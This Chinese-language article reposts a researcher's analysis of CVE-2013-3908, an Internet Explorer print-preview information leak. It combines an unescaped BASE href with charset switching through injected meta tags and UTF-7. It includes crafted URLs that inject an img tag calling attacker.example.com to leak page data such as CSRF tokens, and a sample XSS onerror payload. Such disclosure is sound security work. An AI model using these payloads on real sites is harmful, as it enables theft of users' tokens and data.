CVE-2013-3908 Internet Explorer打印预览功能可导致信息泄露

原文:http://masatokinugawa.l0.cm/2014/11/ie-printpreview-infoleak.html

问题1:
在IE9和以前的版本当中进行打印预览操作时,IE会取出原始页面的URL并将URL放到重新生成的html中的base标签的href属性里。 由于此处并没有对URL中的" < >等符号进行任何的处理可导致信息泄漏.虽然打印预览界面中,是没办法执行JavaScript的,但是我们可以构造这样的URL:

http://vulnerabledoma.in/security/search?q=123‘&"><img/src=‘http://attacker.example.com/

当受害者访问了我们特定页面并试图打印该页面时,从下面的部分开始

<BASE
HREF="http://vulnerabledoma.in/security/search?q=123‘&amp;"><img/src=‘http://attacker.example.com/ 

直到单引号被闭合的部分(直到原始页面中原有的单引号出现)都将作为一个http请求被发送到受害者web server。泄露的可能会是csrf token或其它信息。(这个很看运气,不过应该算是很基本的scriptless攻击了吧)
该问题由于利用难度较高,所以被判断为小影响的漏洞,宣布会在IE9以后的版本进行修复(作为最终结果,微软最后还是宣布会在IE9以及之前的版本也进行修复)
问题2:
这部分除了原作者之外和我也有一点关系。因为之前在捣鼓字符集相关的安全问题时,发现了个比较诡异的现象。就是指定字符集的meta标签在什么样的场景下有效。让我们来看看一个有趣的场景:

<html>
<head>
<title>输出</title>
<meta charset=utf-8>
</head>
<body></body>
</html> 

我们都知道有一些标签具有所谓的htmlencode功能,比如上述示例代码的title标签。如果我们想在此处进行跨站脚本攻击,就需要结束这个title标签,插入类似:
</title><img src=x onerror=alert(‘lol‘)>
但,如果我们插入的是meta tag会怎么样呢?

<html>
<head>
<title><meta charset=shift_jis></title>
<meta charset=utf-8>
</head>
<body></body>
</html> 

当你在console里,输入document.characterSet时你会发现实际上当前页面的字符集已经变成了shift_jis(可在 firefox下进行测试)。如果加大测试场景你会发现不论是在script标签内,还是textarea这类的标签内,只要你插入的meta tag在前1024 byte之内(1024是SPEC上写的,但是实际测试只有980多byte),并且不存在什么response header中的设定,也没有在你插入的meta tag之前出现其它的meta tag对字符集进行过设定,你的meta tag都是有效的(具体的可以阅读浏览器的SPEC)。当时发现这个问题时,感觉十分的有趣但是由于并没有能发现很好的利用场景,就和@/fd联手做成了 一个xss挑战,希望别人也在看到这个之后研究一下会不会间接导致安全问题。这是当时出的xss challenge和相关的writeup:

http://kcal.pw/puzzle3.php
https://github.com/cure53/xss-challenge-wiki/wiki/Puzzle-3-on-kcal.pw

抱歉说了很多有的没的。回到原稿,MK也提出了类似的问题。

<html>
<head>
<meta test="<meta charset=big5>">
<script>
var x="<meta charset=koi8-r>";
</script>
<meta charset=utf-8>
</head>
<body>
<meta charset=iso-8859-1>
<button onclick="func()">charset is</button>
<script>
function func(){
  alert(document.charset||document.characterSet);
}
</script>
</body>
</html> 

上述html页面,最终的characterSet会是什么呢?答案是chrome和safari会选择utf-8.Firefox会选择KOI8-R,而IE会认为是Big5.所以本题中的CVE-2013-3908就是这两个问题的组合拳.

http://vulnerabledoma.in/security/search2?q=123‘&<meta charset=utf-7>+ACIAPgA8A-img/src=‘http://attacker.example.com/ 
<!DOCTYPE HTML>
<!DOCTYPE html PUBLIC "" ""><HTML
__IE_DisplayURL="http://vulnerabledoma.in/security/search2?q=123‘&amp;<meta charset=utf-7>+ACIAPgA8A-img/src=‘http://attacker.example.com/"><HEAD><META
content="IE=11.0000" http-equiv="X-UA-Compatible">
<META content="text/html; charset=iso-8859-1" http-equiv=Content-Type>
<BASE HREF="http://vulnerabledoma.in/security/search2?q=123‘&amp;<meta
charset=utf-7>+ACIAPgA8A-img/src=‘http://attacker.example.com/"><STYLE> HTML { font-family : "Times New Roman" } </STYLE> <METAcharset="iso-8859-1"></HEAD> <BODY><P>LoginID:[email protected]</P><FORM action=""method="get">SearchBox:<INPUT name="q" type="text" value="123‘"> <INPUT type="submit"
value="submit">
</FORM></BODY></HTML> 

回顾一下前面的知识,我们知道出现在神秘属性__IE_DisplayURL中的meta tag依旧会被解析,导致当前页面的字符集会被篡改成utf-7.这样一来即使在上报问题1给微软后,微软对URL输出部分进行了处理,也不能躲过字符集 被修改后通过没有<>的utf-7进行scriptless攻击的步伐。最后由于这个漏洞赶上了IE11的bug bounty活动,作者通过提交该问题获得了2200刀的奖励。

郑重声明:本站内容如果来自互联网及其他传播媒体,其版权均属原媒体及文章作者所有。转载目的在于传递更多信息及用于网络分享,并不代表本站赞同其观点和对其真实性负责,也不构成任何其他建议。